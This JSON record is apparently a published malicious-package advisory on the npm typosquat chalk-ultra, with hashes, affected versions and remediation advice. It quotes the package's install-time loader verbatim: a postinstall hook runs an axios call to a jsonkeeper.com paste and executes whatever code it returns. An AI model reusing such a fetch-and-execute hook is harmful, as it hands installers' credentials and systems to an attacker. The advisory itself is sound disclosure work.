{"id":"MAL-2026-6300","summary":"Malicious code in chalk-ultra (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9a219b45c3fdcdb883eeb2c7e74d20060af2c788865e7925f911e40276dcd631)\nchalk-ultra is published under a name that mimics the widely-used `chalk` package, but its `main` is a verbatim copy of nodemailer source and its `package.json` declares `\"postinstall\": \"node lib/utils/index.js\"`. The postinstall path detaches into `lib/utils/smtp-connection/index.js`, which executes `require(\"axios\").get(\"https://jsonkeeper.com/b/OMNQZ\").then(r=\u003enew Function(\"require\",r.data.cookie)(require))` — fetching JavaScript from a public, mutable paste host and evaluating it via `new Function` with the installer's `require` and full process privileges at install time. A sibling file `lib/utils/smtp-connection/parse.js` exports an AES-256-CBC decryption helper with a hardcoded key (`1c7631ac...0566`) and IV (`cf17723e...39d6`), pre-staged to decode encrypted strings handed back by the remote second-stage payload. Any developer running `npm install chalk-ultra` executes whatever JavaScript the attacker is currently hosting at the jsonkeeper.com URL, with the installer's network access, environment variables, credentials, and filesystem.\n\n## Source: ghsa-malware (89b8d71f76034393365529e64ecc504e74681ced32fcd6d4741ae2633c1c4cc1)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","aliases":["GHSA-vgq4-6c53-5826"],"modified":"2026-06-23T17:16:25.540267580Z","published":"2026-06-23T15:25:21Z","database_specific":{"malicious-packages-origins":[{"versions":["12.0.3"],"modified_time":"2026-06-23T15:25:21Z","import_time":"2026-06-23T15:33:54.127308354Z","id":"IN-MAL-2026-007247","source":"amazon-inspector","sha256":"39ebe5fd7afb21b20fa3a36fb3fc79d3311c1a87b9c0b0f12e60e2edbf0128b6"},{"versions":["12.0.15"],"modified_time":"2026-06-23T15:25:24Z","import_time":"2026-06-23T15:33:54.201145436Z","id":"IN-MAL-2026-007249","source":"amazon-inspector","sha256":"9a219b45c3fdcdb883eeb2c7e74d20060af2c788865e7925f911e40276dcd631"},{"versions":["12.0.14"],"modified_time":"2026-06-23T15:25:22Z","import_time":"2026-06-23T15:33:54.159293156Z","id":"IN-MAL-2026-007248","source":"amazon-inspector","sha256":"c20d1eeea12e261f5fe48b185aebc47d8918cc723ba8031202a5df8595f30cc5"},{"source":"ghsa-malware","modified_time":"2026-06-23T15:48:41Z","import_time":"2026-06-23T17:03:25.712487069Z","id":"GHSA-vgq4-6c53-5826","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"89b8d71f76034393365529e64ecc504e74681ced32fcd6d4741ae2633c1c4cc1"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/chalk-ultra/v/12.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/chalk-ultra/v/12.0.15"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/chalk-ultra/v/12.0.14"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vgq4-6c53-5826"}],"affected":[{"package":{"name":"chalk-ultra","ecosystem":"npm","purl":"pkg:npm/chalk-ultra"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["12.0.3","12.0.15","12.0.14"],"database_specific":{"indicators":{"evidence_files":[{"tlsh":"2ae0269313e4652e203619e2970d00227007c5626f1ae8c593580af262d2ac50e22df8","sha256":"3f82ecfe910c0eaf02fecca68d58e7dbb73b9da7ee94b46e75bb05c5754965ca","path":"lib/utils/smtp-connection/index.js"},{"tlsh":"f741ef19cd2a8ce3229525ed746c01836920d00f4d05fc5d774c138c4f8e99f7678a9d","sha256":"c301cb6d26415e24cf94c5e63ab3064fe0f170b92f33077b8c1932788f2792ef","path":"package.json"},{"tlsh":"7cf0a6802cb8fb900345b0e7c0bbeb07a198a068312287a48a8f9d5a45868488a130dd","sha256":"4aac106a4f36aba6433c7ded453d724307ee55616e240883cd46204549cf24b1","path":"lib/utils/smtp-connection/parse.js"}],"package_integrity":[{"filename":"chalk-ultra-12.0.3.tgz","hashes":{"sha1":"5463340c120284bca66299567b813df3ecec303c","sha512_sri":"sha512-xE1oafVPLbqW27N16+dxLwnjfZ0KyMGz7atcF1SB/q8Iig3lLDd3/5e7OZqQoxxRCAjASdgc3kM+yavmiqP3Jg=="}}]},"cwes":[{"cweId":"CWE-506","name":"Embedded Malicious Code","description":"The product contains code that appears to be malicious in nature."},{"cweId":"CWE-506","name":"Embedded Malicious Code","description":"The product contains code that appears to be malicious in nature."},{"cweId":"CWE-506","name":"Embedded Malicious Code","description":"The product contains code that appears to be malicious in nature."},{"cweId":"CWE-506","name":"Embedded Malicious Code","description":"The product contains code that appears to be malicious in nature."}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/chalk-ultra/MAL-2026-6300.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}